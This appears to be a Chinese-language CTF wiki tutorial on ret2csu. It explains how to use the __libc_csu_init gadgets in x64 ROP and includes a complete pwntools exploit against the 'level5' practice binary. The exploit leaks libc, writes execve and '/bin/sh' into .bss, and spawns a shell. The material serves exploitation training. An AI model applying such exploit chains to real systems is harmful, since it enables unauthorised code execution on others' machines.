ret2csu
原理?
在 64 位程序中,函數的前 6 個參數是通過寄存器傳遞的,但是大多數時候,我們很難找到每一個寄存器對應的 gadgets。 這時候,我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在。我們先來看一下這個函數 (當然,不同版本的這個函數有一定的區別)
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
這里我們可以利用以下幾點
- 從 0x000000000040061A 一直到結尾,我們可以利用棧溢出構造棧上數據來控制 rbx,rbp,r12,r13,r14,r15 寄存器的數據。
- 從 0x0000000000400600 到 0x0000000000400609,我們可以將 r13 賦給 rdx, 將 r14 賦給 rsi,將 r15d 賦給 edi(需要注意的是,雖然這里賦給的是 edi,但其實此時 rdi 的高 32 位寄存器值為 0(自行調試),所以其實我們可以控制 rdi 寄存器的值,只不過只能控制低 32 位),而這三個寄存器,也是 x64 函數調用中傳遞的前三個寄存器。此外,如果我們可以合理地控制 r12 與 rbx,那么我們就可以調用我們想要調用的函數。比如說我們可以控制 rbx 為 0,r12 為存儲我們想要調用的函數的地址。
- 從 0x000000000040060D 到 0x0000000000400614,我們可以控制 rbx 與 rbp 的之間的關系為 rbx+1 = rbp,這樣我們就不會執行 loc_400600,進而可以繼續執行下面的匯編程序。這里我們可以簡單的設置 rbx=0,rbp=1。
示例??
這里我們以蒸米的一步一步學 ROP 之 linux_x64 篇中?level5?為例進行介紹。首先檢查程序的安全保護
? ret2__libc_csu_init git:(iromise) ? checksec level5Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
程序為 64 位,開啟了堆棧不可執行保護。
其次,尋找程序的漏洞,可以看出程序中有一個簡單的棧溢出
ssize_t vulnerable_function()
{char buf; // [sp+0h] [bp-80h]@1return read(0, &buf, 0x200uLL);
}
簡單瀏覽下程序,發現程序中既沒有 system 函數地址,也沒有 /bin/sh 字符串,所以兩者都需要我們自己去構造了。
注:這里我嘗試在我本機使用 system 函數來獲取 shell 失敗了,應該是環境變量的問題,所以這里使用的是 execve 來獲取 shell。
基本利用思路如下
- 利用棧溢出執行 libc_csu_gadgets 獲取 write 函數地址,并使得程序重新執行 main 函數
- 根據 libcsearcher 獲取對應 libc 版本以及 execve 函數地址
- 再次利用棧溢出執行 libc_csu_gadgets 向 bss 段寫入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新執行 main 函數。
- 再次利用棧溢出執行 libc_csu_gadgets 執行 execve('/bin/sh') 獲取 shell。
exp 如下
from pwn import *
from LibcSearcher import LibcSearcher#context.log_level = 'debug'level5 = ELF('./level5')
sh = process('./level5')write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8def csu(rbx, rbp, r12, r13, r14, r15, last):# pop rbx,rbp,r12,r13,r14,r15# rbx should be 0,# rbp should be 1,enable not to jump# r12 should be the function we want to call# rdi=edi=r15d# rsi=r14# rdx=r13payload = 'a' * 0x80 + fakeebppayload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload += p64(csu_front_addr)payload += 'a' * 0x38payload += p64(last)sh.send(payload)sleep(1)sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
思考??
改進??
在上面的時候,我們直接利用了這個通用 gadgets,其輸入的字節長度為 128。但是,并不是所有的程序漏洞都可以讓我們輸入這么長的字節。那么當允許我們輸入的字節數較少的時候,我們該怎么有什么辦法呢?下面給出了幾個方法
改進 1 - 提前控制 rbx 與 rbp?
可以看到在我們之前的利用中,我們利用這兩個寄存器的值的主要是為了滿足 cmp 的條件,并進行跳轉。如果我們可以提前控制這兩個數值,那么我們就可以減少 16 字節,即我們所需的字節數只需要 112。
改進 2 - 多次利用??
其實,改進 1 也算是一種多次利用。我們可以看到我們的 gadgets 是分為兩部分的,那么我們其實可以進行兩次調用來達到的目的,以便于減少一次 gadgets 所需要的字節數。但這里的多次利用需要更加嚴格的條件
- 漏洞可以被多次觸發
- 在兩次觸發之間,程序尚未修改 r12-r15 寄存器,這是因為要兩次調用。
當然,有時候我們也會遇到一次性可以讀入大量的字節,但是不允許漏洞再次利用的情況,這時候就需要我們一次性將所有的字節布置好,之后慢慢利用。
gadget?
其實,除了上述這個 gadgets,gcc 默認還會編譯進去一些其它的函數
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
我們也可以嘗試利用其中的一些代碼來進行執行。此外,由于 PC 本身只是將程序的執行地址處的數據傳遞給 CPU,而 CPU 則只是對傳遞來的數據進行解碼,只要解碼成功,就會進行執行。所以我們可以將源程序中一些地址進行偏移從而來獲取我們所想要的指令,只要可以確保程序不崩潰。
需要一說的是,在上面的 libc_csu_init 中我們主要利用了以下寄存器
- 利用尾部代碼控制了 rbx,rbp,r12,r13,r14,r15。
- 利用中間部分的代碼控制了 rdx,rsi,edi。
而其實 libc_csu_init 的尾部通過偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,可以看到我們在 0x000000000040061f 處可以控制 rbp 寄存器,在 0x0000000000400621 處可以控制 rsi 寄存器。而如果想要深入地了解這一部分的內容,就要對匯編指令中的每個字段進行更加透徹地理解。如下。
gef? x/5i 0x000000000040061A0x40061a <__libc_csu_init+90>: pop rbx0x40061b <__libc_csu_init+91>: pop rbp0x40061c <__libc_csu_init+92>: pop r120x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r14
gef? x/5i 0x000000000040061b0x40061b <__libc_csu_init+91>: pop rbp0x40061c <__libc_csu_init+92>: pop r120x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r15
gef? x/5i 0x000000000040061A+30x40061d <__libc_csu_init+93>: pop rsp0x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret
gef? x/5i 0x000000000040061e0x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret0x400625: nop
gef? x/5i 0x000000000040061f0x40061f <__libc_csu_init+95>: pop rbp0x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret0x400625: nop
gef? x/5i 0x00000000004006200x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret0x400625: nop0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef? x/5i 0x00000000004006210x400621 <__libc_csu_init+97>: pop rsi0x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret0x400625: nop
gef? x/5i 0x000000000040061A+90x400623 <__libc_csu_init+99>: pop rdi0x400624 <__libc_csu_init+100>: ret0x400625: nop0x400626: nop WORD PTR cs:[rax+rax*1+0x0]0x400630 <__libc_csu_fini>: repz ret
題目??
- 2016 XDCTF pwn100
- 2016 華山杯 SU_PWN
參考閱讀??
- 一步一步學ROP之linux_x64篇 | WooYun知識庫
- 一步一步學ROP之gadgets和2free篇 | WooYun知識庫